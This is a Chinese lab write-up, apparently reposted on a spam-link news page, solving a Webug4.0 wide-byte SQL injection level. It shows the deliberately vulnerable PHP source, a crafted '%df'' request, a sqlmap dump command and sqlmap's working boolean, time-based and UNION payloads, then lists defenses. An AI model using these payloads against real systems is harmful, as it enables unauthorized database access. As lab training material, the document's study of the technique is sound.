当前位置: 首页 > news >正文

网站优化seo四个建议/热点军事新闻

网站优化seo四个建议,热点军事新闻,wordpress区域编辑器,怎样做风水网站目录 一、宽字节注入原理 二、第04关 宽字节注入渗透实战 1.打开靶场 2.源码分析 3.sqlmap注入 (1)bp抓包保存 (2)sqlmap注入 (3)获取flag 三、漏洞防御 本文通过《Webug4.0通关笔记系列》来进行Web…

目录

一、宽字节注入原理

二、第04关 宽字节注入渗透实战

1.打开靶场

2.源码分析

3.sqlmap注入

(1)bp抓包保存

 (2)sqlmap注入

 (3)获取flag

三、漏洞防御


本文通过《Webug4.0通关笔记系列》来进行Webug4.0靶场的渗透实战,本文讲解Webug4.0靶场第6关宽字节注入的渗透实战。

一、宽字节注入原理

宽字节注入是一种特殊类型的SQL注入漏洞,主要影响使用GBK、BIG5等多字节编码的数据库系统。其核心原理是利用数据库和应用程序对字符编码处理的差异,导致转义字符(如反斜杠\)被"吞并"到宽字符中,从而使原本的转义失效。宽字节注入的原理如下所示。

  1. 编码差异:GBK编码中,某些字符(如%bf%5c)组合会被识别为一个完整字符

  2. 转义失效:攻击者精心构造的%bf'与系统添加的转义符\%5c)组合成合法字符

  3. 注入成功:剩余的单引号未被转义,破坏SQL语句结构

以下是一些宽字节注入中常用的编码及相关说明,以表格形式呈现:

编码类型说明示例
GBK常见的中文字符集,一个汉字由两个字节表示。在宽字节注入中常被利用,因为某些特殊字符组合可绕过单引号转义。%df' 在 GBK 中会被解析为一个宽字节字符,可用于逃逸单引号。
BIG5繁体中文字符集,同样是双字节编码。类似于 GBK,也可能存在宽字节注入漏洞。%a1%a2 等组合可能被利用。

二、第04关 宽字节注入渗透实战

1.打开靶场

http://192.168.71.1/webug4/control/sqlinject/width_byte_injection.php?id=1

2.源码分析

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_GET["id"])) {if (!empty($_GET["id"])) {// 过滤引号$id = addslashes($_GET['id']);$dbConnectWidth->query("SET names 'gbk'");$sql = "SELECT * FROM sqlinjection WHERE id = '{$id}'";$res = $dbConnectWidth->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);}
}
require_once TPMELATE."/manifest-error-injection.html";

对其中关键代码进行注释,如下所示。

// 检查是否存在id参数
if (isset($_GET["id"])) {// 检查id参数是否非空if (!empty($_GET["id"])) {// 使用addslashes对输入进行转义(主要转义单引号等特殊字符)$id = addslashes($_GET['id']);// 设置数据库连接使用GBK编码(危险操作)$dbConnectWidth->query("SET names 'gbk'");// 构造SQL查询语句(直接将用户输入拼接到SQL中)$sql = "SELECT * FROM sqlinjection WHERE id = '{$id}'";// 执行查询,如果失败则输出错误信息和SQL语句(安全隐患)$res = $dbConnectWidth->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);}
}

 如上所示,SQL语句对GET型参数输入id进行了转移,故而存在普通的字符型SQL注入语句不能渗透成功,但是脚本中使用gbk编码,这也说明存在宽字节注入漏洞。

  • 漏洞成因组合

    • SET names 'gbk':强制使用GBK宽字符编码,这导致很大概率会有宽字节注入漏洞

    • addslashes():使用PHP的转义函数

    • 直接SQL拼接:'{$id}'直接将用户输入嵌入SQL

  • 攻击原理

    • 当输入%bf'时:

      • addslashes()会将其转义为%bf\'%bf%5c%27

      • 在GBK编码中,%bf%5c会被解析为一个中文字符"縗"

      • 剩余的单引号%27未被转义,破坏SQL结构

    • 最终SQL变为:

SELECT * FROM sqlinjection WHERE id = '縗' OR 1=1 -- '

3.sqlmap注入

(1)bp抓包保存

在渗透的过程中,bp拦截报文并将报文保存为webug06.txt

修改webug06.txt,在注入点id处尾部加上%df 然后加入注释符%23,并在闭合符号'与注释符中间加上*,如下所示。

GET /webug4/control/sqlinject/width_byte_injection.php?id=1%df'*%23 HTTP/1.1
Host: 192.168.71.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.71.1/webug4/control/we_bug_env.php
Cookie: PHPSESSID=n5mmqjrmgn3fou55o8pbkeb8r7
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

 (2)sqlmap注入

sqlmap -r webug07.txt --current-db --batch -D webug  -T env_list  --dump  

如下所示渗透成功

---
Parameter: #1* (URI)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' AND 4068=4068#Vector: AND [INFERENCE]Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' AND (SELECT 1835 FROM (SELECT(SLEEP(5)))hRSI)#Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])Type: UNION queryTitle: Generic UNION query (NULL) - 2 columnsPayload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x72625851486b4e4644685346714e41684169784978616d6c4f76785a68646f57667a48634964776c,0x71626a6b71)-- -#Vector:  UNION ALL SELECT NULL,[QUERY]-- -
---

 (3)获取flag

如下所示,渗透成功,flag为dfsadfsadfas

三、漏洞防御

  • 使用预编译语句:预编译语句会将数据和代码分离,避免恶意代码被当作 SQL 语句的一部分执行,例如使用 PDO 或 mysqli 的预编译功能。
  • 设置正确的字符集:确保 Web 应用、数据库连接和数据库本身的字符集设置一致,避免因字符集问题导致的漏洞。
  • 进行严格的输入验证:不仅要过滤特殊字符,还要对输入的长度、类型等进行严格检查,确保输入符合预期。

http://www.whsansanxincailiao.cn/news/30343854.html

相关文章:

  • 北京企业网站建设哪家好/百度seo关键词报价
  • 网站建设任务清单/爱网站查询挖掘工具
  • 浙江网站建设企业/关键词搜索引擎工具爱站
  • 广告联盟平台自动赚钱/绍兴seo排名
  • 做网站需要准备什么/seo网站关键词优化软件
  • 网站建设 类/视频号怎么付费推广
  • 单位网站建设管理工作总结/电销系统软件排名
  • 临沂网站建设怎么样/网络营销的发展前景
  • 网站建设团队扬州/种子在线资源搜索神器
  • 外国人的做视频网站吗/指数基金投资指南
  • 电子商务网站建设的核心/高级seo优化招聘
  • 网站建设的税率是多少钱/北京seo专业团队
  • 柳南网站建设/nba最新交易汇总实时更新
  • 查询个人信息的网站/今日热搜头条
  • 做网站南充/连云港seo优化公司
  • 外贸网站建设费用多少/阿里指数网站
  • 网站设计公司 广州/企业网络营销业务
  • 网站安全检测服务/快排seo软件
  • 大连大型网站制作公司/廊坊网络推广公司
  • 广东深圳电子厂/临沂网站建设优化
  • 电脑做兼职找那个网站/百度大全
  • 做生物学的网站/故事性营销软文
  • 网站运营分析报告/北京网站seo设计
  • 股票做T网站/网站模板大全
  • 宝鸡市住房与城乡建设厅网站/成都百度百科
  • 做网站公司东莞/爱站网关键词查询系统
  • 网站制作公司 深圳/品牌推广专员
  • 网站如何自动手机版/网络营销策略名词解释
  • 中国手机网站大全/seo优化交流
  • 深圳网站制作服务公/培训心得体会1500字